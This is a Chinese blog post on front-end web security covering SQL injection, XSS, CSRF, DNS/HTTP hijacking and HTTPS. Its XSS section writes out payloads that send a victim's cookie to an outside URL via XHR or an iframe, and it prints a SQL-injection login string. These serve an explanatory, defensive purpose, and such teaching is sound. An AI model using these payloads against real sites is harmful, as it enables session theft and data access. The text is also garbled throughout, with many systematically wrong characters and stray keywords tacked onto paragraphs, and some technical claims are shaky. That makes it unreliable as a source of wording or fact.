Web安全浅说

如今前端确定也须要知道安全问题,做为网站开发者,要保证基础的三点:javascript

  1. 保密性
    数据内容不能泄漏,加密是经常使用方法
  2. 完整性
    数据内容不能被篡改,特别是如今oAuth盛行的年代,协议要求sign签名,就是保证双方数据完整。一旦信息被改会发生什么不言而喻
  3. 可用性
    网站服务是可用的

常见前端攻击方式

DDos攻击,Dos攻击,SQL注入,XSS,CSRF等,D|Dos攻击是经过http协议自己特色,经过大量恶意请求致使服务器不能响应的攻击,防范这个问题须要运维或FireWall来作的,这里就很少说明,只简单说下FEer会接触到的几个。
在此以前,不得不说一个概念:安全沙箱。不知道的能够度娘一下css

SQL注入

经过非法方式影响服务的正常有效运行,提供非正确的信息返回或不能正常服务。在先后端未进行分离的年代,sql注入是每一个web开发者都须要熟知的。那时候访问的url就很容易猜到是哪一个库表哪一个操做,最著名的sql注入就是登陆时user和password输入'1' or 2=2"' 若是没有对URI进行特殊符号转化,服务端sql脚本就可能出现前端

sql = "select * from user where user='1' or 2=2"' password='' " // 密码相似user的写法 复制代码

sql查询条件是成立的,有可能会把整个库表的信息都返回,甚至也给暴力破解留下入口。
如今FEer能够不用考虑这一点,可是请求地址仍是能够在network里看到,适当的加密和偏移仍是须要的。固然,后端的安防是最最重要的,这里只说前端,node的代理或后端对于前端脚本的请求拦截找机会再作分享。java

XSS(cross-site scripting)跨站脚本攻击

从本站发起,这是首要条件,由于安全沙箱的限制,非本站脚本不能操做cookie或dom,那么它若是攻击呢?
攻击方式:node

  • 用户输入
    例如:在某个评论页,输入了非法代码,后端未转译,或前端直接innerHTML插入。那么网站的保密性就没有了,形成的结果:
// 多是div多是a,不设防就能够随意添加dom
<a style="display:block;position:absolute;width:100%;height:100%;" href="javascript:alert('xss');">测试连接</a>
// 各类脚本随意跑
<script>window.head[0].append(js code);alert("w");setTimeout(function(){xhr.get(url+cookie)},0);</script>
<iframe src="domain/getcookie/cookie">
// 经过xhr把cookie给攻击者,iframe等,全部的内容毫无疑问都是非法的,机密泄漏!
复制代码
  • 第三方脚本引入
    症状和结果同“用户输入”,因此如今不少https网站下不能引用http的域名文件,就是防止http劫持带来的XSS问题。
  • 劫持
    页面或js脚本被追加了某些内容,例如广告;最多见的是SP运营商这么干

防范手段

前端几乎没有安全一说,即使是加密的js代码也是能够反编译,全部的内容几乎都暴露在浏览器里。因此对用户的输入都是不可信的,即使是加密的js代码也是能够反编译,针对用户的输入,须要后端配合业务进行针对性的过滤和转译;而且根据攻击类型(反射、存储引用、DOM)进行相应的规则,“<a, <script, <Script,,'," ”等等,练css其实也能够进行js的hack,最好用innerText而不是innerHTML。若是业务实在须要匹配规则做好,容许的状况下就别让代码执行。nginx

CSRF(cross-site request forgery)请求伪造

从第三方站点发起,利用cookie伪形成你的合法请求;通常钓鱼网站会这么干。仍是由于安全沙箱的关系,攻击者不能拿到sessionid或标明合法身份的sign,但在页面中利用你未过时的cookie就能够发起攻击(浏览器关闭cookie还能有效呢?yes,就是tmd有可能不过时),新建tab进行其余网站的浏览也是常态。web

防范手段

Referer验证,若是来源非本站,那么能够断定是非法请求;可是IE低版本和某些阉割浏览器这玩意是无效的;
token验证,每次提交须要用户输入验证码或拉动豆腐块等等,就是证实是人,是人,是人在提交;
头部自定义内容(加密),我在畅旅时跟后台通讯会加上用户名密码的md5加密;
通过我本身的实际工做检验,虽然也是没什么用,但能够增长攻击难度;再有就是OTA或存在价格竞争的企业,爬虫扫描价格也是很常见的攻防大战;都是只增长难度,彻底靠前端防范是不可能的。切切!算法

劫持与https

  • DNS劫持
    DNS劫持就是经过劫持了DNS服务器,经过某些手段取得某域名的解析记录控制权,进而修改此域名的解析结果,致使对该域名的访问由原IP地址转入到修改后的指定IP,其结果就是对特定的网址不能访问或访问的是假网址,从而实现窃取资料或者破坏原有正常服务的目的。DNS劫持经过篡改DNS服务器上的数据返回给用户一个错误的查询结果来实现
    症状:在某些地区的用户在成功链接宽带后,首次打开任何页面都指向ISP提供的“电信互联星空”、“网通黄页广告”等内容页面。还有就是曾经出现过用户访问Google域名的时候出现了百度的网站。这些都属于DNS劫持。再说简单点,当你输入google.com这个网址的时候,你看到的网站倒是百度的首页。
  • http劫持
    在用户的客户端与其要访问的服务器通过网络协议协调后,两者之间创建了一条专用的数据通道,用户端程序在系统中开放指定网络端口用于接收数据报文,服务器端将所有数据按指定网络协议规则进行分解打包,造成连续数据报文。
    用户端接收到所有报文后,按照协议标准来解包组合得到完整的网络数据。其中传输过程当中的每个数据包都有特定的标签,表示其来源、携带的数据属性以及要到何处,全部的数据包通过网络路径中ISP的路由器传输接力后,最终到达目的地,也就是客户端。
    HTTP劫持是在使用者与其目的网络服务所创建的专用数据通道中,监视特定数据信息,提示当知足设定的条件时,就会在正常的数据流中插入精心设计的网络数据报文,目的是让用户端程序解释“错误”的数据,并以弹出新窗口的形式在使用者界面展现宣传性广告或者直接显示某网站的内容。在2000年初期,SP运营商对网站文件内容的劫持很是常见。

防范手段

DNS劫持现实生活中很难防范,由于提供网络服务的SP运营商让你看什么就得看什么,这也是伟大的墙所存在的条件;进不来出不去。
http劫持可使用https增长攻击者的成本。
HTTPS协议的主要做用能够分为两种:一种是创建一个信息安全通道,来保证数据传输的安全;另外一种就是确认网站的真实性。sql

HTTP协议传输的数据都是未加密的,也就是明文的,所以使用HTTP协议传输隐私信息很是不安全,为了保证这些隐私数据能加密传输,因而网景公司设计了SSL(Secure Sockets Layer)协议用于对HTTP协议传输的数据进行加密,从而就诞生了HTTPS。简单来讲,HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,要比http协议安全。
https工做方式后端

HTTPS实际上是有两部分组成:HTTP + SSL / TLS,也就是在HTTP上又加了一层处理加密信息的模块。服务端和客户端的信息传输都会经过TLS进行加密,因此传输的数据都是加密后的数据。SSL介于应用层和TCP层之间。应用层数据再也不直接传递给传输层,而是传递给SSL层,SSL层对从应用层收到的数据进行加密,并增长本身的SSL头,具体是如何进行加密、解密、验证的,请看下图:

1.服务器用RSA生成公钥和私钥
2.把公钥放在证书里发送给客户端,私钥本身保存
3.客户端首先向一个权威的服务器检查证书的合法性,若是证书合法,客户端产一段随机数,这个随机数就做为通讯的密钥,咱们称之为对称密钥,用公钥加密这段机数,而后发送到服务器
4.服务器用密钥解密获取对称密钥,而后,双方就已对称密钥进行加密解密通讯了
若是有兴趣能够看下https的头和http的头有哪些区别,还有公钥和私钥,均可以了解一下。

HTTPS的优势

尽管HTTPS并不是绝对安全,掌握根证书的机构、掌握加密算法的组织一样能够进行中间人形式的攻击,但HTTPS还是现行架构下最安全的解决方案,主要有如下几个好处:

1.使用HTTPS协议可认证用户和服务器,确保数据发送到正确的客户机和服务器;
2.HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,要比http协议安全,可防止数据在传输过程当中不被窃取、改变,确保数据的完整性。
3.HTTPS是现行架构下最安全的解决方案,虽然不是绝对安全,但它大幅增长了中间人攻击的成本。
4.谷歌曾在2014年8月份调整搜索引擎算法,并称“比起同等HTTP网站,采用HTTPS加密的网站在搜索结果中的排名将会更高”;但18年10月开始Chrome也再也不提示https网站安全与否;由于大部分网站都有SSL证书了。

HTTPS的缺点

虽说HTTPS有很大的优点,但其相对来讲,仍是存在不足之处的:

1.HTTPS协议握手阶段比较费时,会使页面的加载时间延长近50%,增长10%到20%的耗电; 2.HTTPS链接缓存不如HTTP高效,会增长数据开销和功耗,甚至已有的安全措施也会所以而受到影响;
3.SSL证书须要钱,功能越强大的证书费用越高,我的网站、小网站没有必要通常不会用。
4.SSL证书一般须要绑定IP,不能在同一IP上绑定多个域名,IPv4资源不可能支撑这个消耗。
5.HTTPS协议的加密范围也比较有限,在黑客攻击、拒绝服务攻击、服务器劫持等方面几乎起不到什么做用。最关键的,SSL证书的信用链体系并不安全,特别是在某些国家能够控制CA根证书的状况下,中间人攻击同样可行。

总结

1.保密性
SQL,XSS,CSRF等攻击都是经过非法手段获取用户信息,或从后端或从前端来进行。假设你是攻击者,能够经过什么手段进行攻击就能找到防止的方法
2.完整性
请求的数据、cookie、header、body、sign等完整,后端对header和ua信息进行验证,前端在header里加密某一段信息都是方法。
3.可用性 我曾遇到过这种问题:前端(C端hybird)写了一个轮询,设定的结束条件是拿到数据,看似没什么大问题,后端微服务资源分配模块没作好,结果拖的全部的服务都当机。核心的点仍是在后端,但前端也须要设定合理的结束条件。再有就是提供http服务的稳定和高并发,nginx,负载均衡,异地多活等

PS:我的经验的一点分享,确定会有遗漏;欢迎留言指正,互相交流学习!

防止sp运营商劫持有个文章很是好,请点连接: 干货!防运营商劫持

相关文章
相关标签/搜索